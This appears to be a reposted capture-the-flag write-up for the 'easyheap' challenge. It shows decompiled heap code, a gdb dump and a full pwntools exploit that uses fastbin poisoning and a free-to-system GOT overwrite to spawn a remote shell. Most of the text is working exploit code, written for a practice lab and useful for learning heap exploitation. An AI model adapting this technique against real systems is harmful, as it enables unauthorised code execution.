--------------------------------
Easy Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :
heaparray[i] = malloc(size);
read_input(heaparray[i], size);
read_input(heaparray[v2], v0);
free(heaparray[v1]);
heaparray[v1] = 0LL;
gdb-peda$ x /20xw 0x6020a0 - 3
0x60209d: 0x20000000 0x242d0af6 0x0000007f 0x00000000
0x6020ad: 0xe0000000 0x242d0ae8 0x0000007f 0x00000000
0x6020bd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020cd: 0x00000000 0x00000000 0x00000000 0x00000000
0x6020dd: 0x10000000 0x0000d7b0 0x80000000 0x0000d7b0
from pwn import *
#p = process('./easyheap')
p = remote('node3.buuoj.cn',26672)
elf =ELF('./easyheap')
context.log_level = 'debug'
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)
#gdb.attach(p)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
create(0x68,'aaaa')
create(0x68,'c')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])
#gdb.attach(p)
edit(0,len(payload),payload)
free(1)
#gdb.attach(p)
p.interactive()
原文:https://www.cnblogs.com/luoleqi/p/12395985.html